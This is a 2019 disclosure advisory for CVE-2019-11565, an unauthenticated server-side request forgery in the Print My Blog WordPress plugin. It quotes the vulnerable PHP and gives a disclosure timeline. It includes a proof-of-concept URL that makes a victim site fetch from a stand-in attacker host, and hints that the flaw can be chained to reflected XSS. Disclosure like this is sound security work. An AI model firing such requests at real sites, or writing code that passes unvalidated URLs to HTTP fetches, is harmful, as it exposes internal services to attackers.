_      _
    / |   _| |_ _ _____ ___ ___ ___ ___ ___
 _ / /   | . | | |     | . |  _| . |  _| -_|
|_|_/    |___|___|_|_|_|  _|___|___|_| |___|
                       |_|

2019-04-27

SSRF in 'print my blog' WordPress plugin
========================================

CVE-2019-11565

Title says it all - unauthenticated Server Side Request Forgery
(SSRF) vulnerability in the Print My Blog[1] version 1.6.5 and
probably earlier as well. A general description of SSRF can be
found on OWASP's wiki[4].


# Proof of Concept Exploit

The issue can be triggered by browsing:
victim.com/?print-my-blog=1&site=http://evil.com


# Details

The wp_remote_get()[2] function is called with an attacker
controllable URL, resulting in unauthenticated SSRF. By setting
up a malicious web server, the SSRF can be further chained to
launch a reflected XSS attack. I'll leave it up to the reader
to figure out how. 


includes/controllers/PmbFrontend.php:

   34     public function templateRedirect($template)
   35     {
   36 
   37         if (isset($_GET[PMB_PRINTPAGE_SLUG])) {
   38             try {
   39                 $site_info = new RestApiDetector($this->getFromRequest('site', ''));
   ..
  248     protected function getFromRequest($query_param_name, $default) {
  249         return isset($_GET[$query_param_name]) ? $_GET[$query_param_name] : $default;
  250     }


In PmbFrontend.php, a new instance of the RestApiDetector class
is instantiated with the argument of user controllable input,
as shown on line 39-249 above. 
  
  
includes/vendor/mnelson4/RestApiDetector/RestApiDetector.php:

   17 class RestApiDetector
   18 {
   19     protected $site;
   ..
   31     public function __construct($site)
   32     {   
   33         $this->setSite($site);
   34         $this->getSiteInfo();
   35     }
   ..
   43     public function getSiteInfo()
   44     {   
   45         // check for a site request param
   46         if(empty($this->getSite())){
   47             $this->setName(get_bloginfo('name'));
   48             $this->setDescription(get_bloginfo('description'));
   49             $this->setRestApiUrl(get_rest_url());
   50             $this->setSite(get_bloginfo('url'));
   51             $this->setLocal(true);
   52             return;
   53         }
   54         // If they forgot to add http(s), add it for them.
   55         if(strpos($this->getSite(), 'http://') === false && strpos($this->getSite(), 'https://') === false) {
   56             $this->setSite( 'http://' . $this->getSite());
   57         }
   58         // if there is one, check if it exists in wordpress.com, eg "retirementreflections.com"
   59         $site = trailingslashit(sanitize_text_field($this->getSite()));
   60 
   61         
   62         // Let's see if it's self-hosted...
   63         $data = $this->getSelfHostedSiteInfo($site);
   ..
   85     protected function getSelfHostedSiteInfo($site){
   86         $response = $this->sendHttpGetRequest($site);
   ..
  180     protected function sendHttpGetRequest($url)
  181     {
  182         return wp_remote_get(
  183             $url,
  184             [
  185                 'timeout' => 30,
  186                 'sslverify' => false,
  187                 'user-agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0'
  188             ]
  189         );
  190     }


The argument is set in RestApiDetector's site variable, that gets
used as argument to wp_remote_get()[1] on line 182 above.


# Proof of discovery

  $ echo 'http://172.16.34.134/wordpress/?print-my-blog=1&site=http://127.0.0.1/' | sha256sum
  34bb3534ec1107dcbe0882251c2ec045de289b4560249c77980cdf9ca436fd4f  -

twitter.com/magnusstubman/status/1121734829878513665


# Timeline

2019-04-25 Discovery and vendor notification
2019-04-26 Vendor released patch[3]
2019-04-27 CVE-2019-11565 assigned[5]
2019-05-07 Vendor posted a blog post about the bug and the disclosure process[6]


# References

1: wordpress.org/plugins/print-my-blog
2: developer.wordpress.org/reference/functions/wp_remote_get
3: plugins.trac.wordpress.org/changeset?old_path=/print-my-blog/trunk&old=2075667&new_path=/print-my-blog/trunk&new=2075667&;
4: owasp.org/index.php/Server_Side_Request_Forgery
5: cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11565
6: cmljnelson.wordpress.com/2019/05/07/print-my-blog-plugin-transparency-report-french-ssrf-fix-improved-json-parsing